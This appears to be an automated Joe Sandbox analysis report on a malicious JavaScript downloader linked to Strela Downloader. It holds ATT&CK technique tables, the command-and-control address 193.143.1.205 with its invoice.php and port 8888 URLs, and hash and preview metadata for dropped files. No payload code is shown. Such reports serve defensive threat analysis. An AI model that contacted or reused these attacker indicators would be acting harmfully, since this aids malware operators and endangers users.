Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
28091322483050023072.js	3%	Virustotal		Browse
28091322483050023072.js	0%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3354096845.0000028A61200000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2166781537.0000028A610A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2163669714.00000268B73B8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2163669714.00000268B73F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2163669714.00000268B740E000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587707
Start date and time:	2025-01-10 17:12:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	28091322483050023072.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.149.20.212, 23.1.237.91, 104.126.112.182
Excluded domains from analysis (whitelisted): www.bing.com, e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:13:05	API Interceptor	22x Sleep call for process: powershell.exe modified
11:13:09	API Interceptor	1x Sleep call for process: net.exe modified
11:13:10	API Interceptor	2x Sleep call for process: svchost.exe modified
11:13:22	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2045514992161325262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28152172202187913252.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1936930021252095876.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	283532861321088537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	550532080162812544.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10259286552329511027.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307167390545979
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugh:gJjJGtpTq2yv1AuNZRY3diu8iBVqFv
MD5:	BEA02F9F4162D7B2ED2B79759AA95B96
SHA1:	0FAB783FADB13359733CB22B4C3CC5DC841FA6F2
SHA-256:	D7B3147D26A459F329996DDEFDEE902772AEC6BD25B108A68F978CD69655467C
SHA-512:	96F36C83A46887A11AEF41230022AE36ED9119677261B5416EF65429EF46C04D68C6E0D8C1CE6AE2176F39E80A4C39324DCB480FE0FB6F25B6A1ED70709D1ACF
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xe04f9fb8, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585614174579915
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	989A3277442F936A8C8AA5E54D88C925
SHA1:	EACA550D38D954019619973F3108583837094BA1
SHA-256:	7FF1A1E06BAF491C312A672DF77A8540E99DBC411497D141F20A7DBF4F9F7338
SHA-512:	2DBD8DBDF870710A9E500E2DDFD10426E42B1DDFB083CAE79715210DE3212E7339F32E14829CDFFA377A187CA33B022C6943076E22EDA17AE0DDC202FEC97B3D
Malicious:	false
Preview:	.O..... ...............X\...;...{......................0.z..........{.......}{.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................,..O.....}...................4bP.....}{..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08042491212999571
Encrypted:	false
SSDEEP:	3:DtyYeY2ytGuAJkhvekl1sGoqllrekGltll/SPj:hyzctrxlyGoeJe3l
MD5:	7F9C112810E43178616B1FBEECF0F52E
SHA1:	378DDD80029193659000A3C5F6C600EF2E1F3959
SHA-256:	5C4BD4F89312A60FE1D6E80E65FB602422D829F2D69BE27DD12C671E4FB5827D
SHA-512:	ABBEC8E252A38B4DE0291A258CFDA8436DD5CA7F3DC7CD70DDD820359A7ECDB5FF1DB3DD50CA879D14A01A6CD77206C7ACB5186BDDADBA30DF4B3D6D749A5A77
Malicious:	false
Preview:	..H......................................;...{.......}{......{...............{.......{...XL......{...................4bP.....}{.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.080577482432951
Encrypted:	false
SSDEEP:	6:iO4TZ+q2P92nKuAl9OmbnIFUtSTe5ZmwsTetVkwO92nKuAl9OmbjLJ:7IUv4HAahFUt2e5/EeT5LHAaSJ
MD5:	F0D597348C52186819E69AD1C2C5C808
SHA1:	D58E9CB184096B9C2D4787424636BD36702127F8
SHA-256:	F316AEF52E5F206A32599E7EBFCAA70E7FCF22C492934A311BCDFEA0BE1ADC20
SHA-512:	CD6B9E97ADF6E1DF158C25A21E46E03D29C305E4D2208C133425ED26F01ABE51580516A58B327551D6B378CB9CCDC1377A3B106273286CEE3ACF01877377E696
Malicious:	false
Preview:	2025/01/10-11:13:10.250 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:13:10.255 1c58 Recovering log #3.2025/01/10-11:13:10.255 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.080577482432951
Encrypted:	false
SSDEEP:	6:iO4TZ+q2P92nKuAl9OmbnIFUtSTe5ZmwsTetVkwO92nKuAl9OmbjLJ:7IUv4HAahFUt2e5/EeT5LHAaSJ
MD5:	F0D597348C52186819E69AD1C2C5C808
SHA1:	D58E9CB184096B9C2D4787424636BD36702127F8
SHA-256:	F316AEF52E5F206A32599E7EBFCAA70E7FCF22C492934A311BCDFEA0BE1ADC20
SHA-512:	CD6B9E97ADF6E1DF158C25A21E46E03D29C305E4D2208C133425ED26F01ABE51580516A58B327551D6B378CB9CCDC1377A3B106273286CEE3ACF01877377E696
Malicious:	false
Preview:	2025/01/10-11:13:10.250 1c58 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:13:10.255 1c58 Recovering log #3.2025/01/10-11:13:10.255 1c58 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.105950183120668
Encrypted:	false
SSDEEP:	6:iO4TAhq2P92nKuAl9Ombzo2jMGIFUtSTAVZmwsTAUFkwO92nKuAl9Ombzo2jMmLJ:7I8v4HAa8uFUt2Y/ERF5LHAa8RJ
MD5:	808F6DECF12395230E858DD5D39965D8
SHA1:	3DFCC6E77896E74BBBCFF9A3244A9569F5E98802
SHA-256:	EBF0A13916FA6B1ADBDAC5587B3A74DE13D5ECD8C6F0E7EAFF43B0E610740CF5
SHA-512:	EAD97D203F58A46E0133F9A53EC50F3FEC0FDDB5BD1A32B4FF37B9E0424B254FA0D5E259A666AE303D39CF7B997C114F19293CDA05A45551536435D9FF33AE77
Malicious:	false
Preview:	2025/01/10-11:13:10.379 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:13:10.383 1d20 Recovering log #3.2025/01/10-11:13:10.384 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.105950183120668
Encrypted:	false
SSDEEP:	6:iO4TAhq2P92nKuAl9Ombzo2jMGIFUtSTAVZmwsTAUFkwO92nKuAl9Ombzo2jMmLJ:7I8v4HAa8uFUt2Y/ERF5LHAa8RJ
MD5:	808F6DECF12395230E858DD5D39965D8
SHA1:	3DFCC6E77896E74BBBCFF9A3244A9569F5E98802
SHA-256:	EBF0A13916FA6B1ADBDAC5587B3A74DE13D5ECD8C6F0E7EAFF43B0E610740CF5
SHA-512:	EAD97D203F58A46E0133F9A53EC50F3FEC0FDDB5BD1A32B4FF37B9E0424B254FA0D5E259A666AE303D39CF7B997C114F19293CDA05A45551536435D9FF33AE77
Malicious:	false
Preview:	2025/01/10-11:13:10.379 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:13:10.383 1d20 Recovering log #3.2025/01/10-11:13:10.384 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8581f3ba-d007-4ab0-bbfd-994b54283197.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.060720219521715
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3LsBdOg2HQcaq3QYiubxnP7E4T3OF+:Y2sRdsWsdMHb3QYhbxP7nbI+
MD5:	FFC6D413E07013B9153A03D88545A065
SHA1:	8ADB25CACD1203C24052865B374ACA6457FA305C
SHA-256:	0240E9BA498601B60B1D52EB1AC3212A2E2396247E67428868E1D49308AAE064
SHA-512:	8BDB417E14CA597B9437D44CC26E807353A6A77662B1BCDC83D5E2D902FBE0CC2A39F10369D4BBA9CF78A6AA4FA58954C5E3501EAD00A2AFD70346A77CEBADCB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085602089465","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138787},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.060720219521715
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3LsBdOg2HQcaq3QYiubxnP7E4T3OF+:Y2sRdsWsdMHb3QYhbxP7nbI+
MD5:	FFC6D413E07013B9153A03D88545A065
SHA1:	8ADB25CACD1203C24052865B374ACA6457FA305C
SHA-256:	0240E9BA498601B60B1D52EB1AC3212A2E2396247E67428868E1D49308AAE064
SHA-512:	8BDB417E14CA597B9437D44CC26E807353A6A77662B1BCDC83D5E2D902FBE0CC2A39F10369D4BBA9CF78A6AA4FA58954C5E3501EAD00A2AFD70346A77CEBADCB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381085602089465","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":138787},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.236240661776784
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLU8j02tME:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLz
MD5:	B96C606FACDE52F2EC22B1186C87F145
SHA1:	3DFD7FF187CB82B4941B0527D1606141FEBA2BF7
SHA-256:	9CA2AE1474C2B4FF1A509105463E6BB54EA750E4E67E8BE6323C1F997EA4B084
SHA-512:	2F9729B57E23419753D80EEE7C9356BF5C996B1AC45C0408F981BCF6955ABCE57F67730B66323B240002077B44C0E3D85195FCBFB88EDBFA0D883F9FD130C31C
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.095921193491822
Encrypted:	false
SSDEEP:	6:iO4Tfq2P92nKuAl9OmbzNMxIFUtSTaXZmwsTJUkwO92nKuAl9OmbzNMFLJ:7Ifv4HAa8jFUt2q/EJU5LHAa84J
MD5:	CCDBABA7B3D74D0EA3C9B4A13F7F2473
SHA1:	5CB91426A6BAFDEE8934451E9DE9E483D76B9829
SHA-256:	7664A970290187D19B8615E128CE351E650B34814CDD5E6BC8A7F37F554D1501
SHA-512:	63CE8941C364E6A3BD0CFE8CF946455ACA7B5D7C58A35F89821DCEBE621E12ED2DD62C54188AF8E80390826724EDCF694F655EF9D828BDCA0BB5226F1A117FC1
Malicious:	false
Preview:	2025/01/10-11:13:10.640 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:13:10.662 1d20 Recovering log #3.2025/01/10-11:13:10.671 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.095921193491822
Encrypted:	false
SSDEEP:	6:iO4Tfq2P92nKuAl9OmbzNMxIFUtSTaXZmwsTJUkwO92nKuAl9OmbzNMFLJ:7Ifv4HAa8jFUt2q/EJU5LHAa84J
MD5:	CCDBABA7B3D74D0EA3C9B4A13F7F2473
SHA1:	5CB91426A6BAFDEE8934451E9DE9E483D76B9829
SHA-256:	7664A970290187D19B8615E128CE351E650B34814CDD5E6BC8A7F37F554D1501
SHA-512:	63CE8941C364E6A3BD0CFE8CF946455ACA7B5D7C58A35F89821DCEBE621E12ED2DD62C54188AF8E80390826724EDCF694F655EF9D828BDCA0BB5226F1A117FC1
Malicious:	false
Preview:	2025/01/10-11:13:10.640 1d20 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:13:10.662 1d20 Recovering log #3.2025/01/10-11:13:10.671 1d20 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.76081411817498
Encrypted:	false
SSDEEP:	3:kkFklqzfytfllXlE/HT8kmFkljNNX8RolJuRdxLlGB9lQRYwpDdt:kKzzfyeT8mlRNMa8RdWBwRd
MD5:	22D0767C7849A273DDA621F9FD9E61F7
SHA1:	778EFA4D05F4B944A237652B8EC33F14C3A79E20
SHA-256:	C94BD8A2AF16F4DB74FE58BB15A9615D70F2A621B933A7DDD8D620C18CEA6FD5
SHA-512:	D78F6C02447BEA681E0AEE2CE0AA5B80748455316859FA4E4B44ACD8DDBDA124799F71311C5F76CCB5AF765707A7EC47976B31726299A6B4B00FEF24F0E03F44
Malicious:	false
Preview:	p...... .........8.zc..(....................................................... ..........W..... ..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5568

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
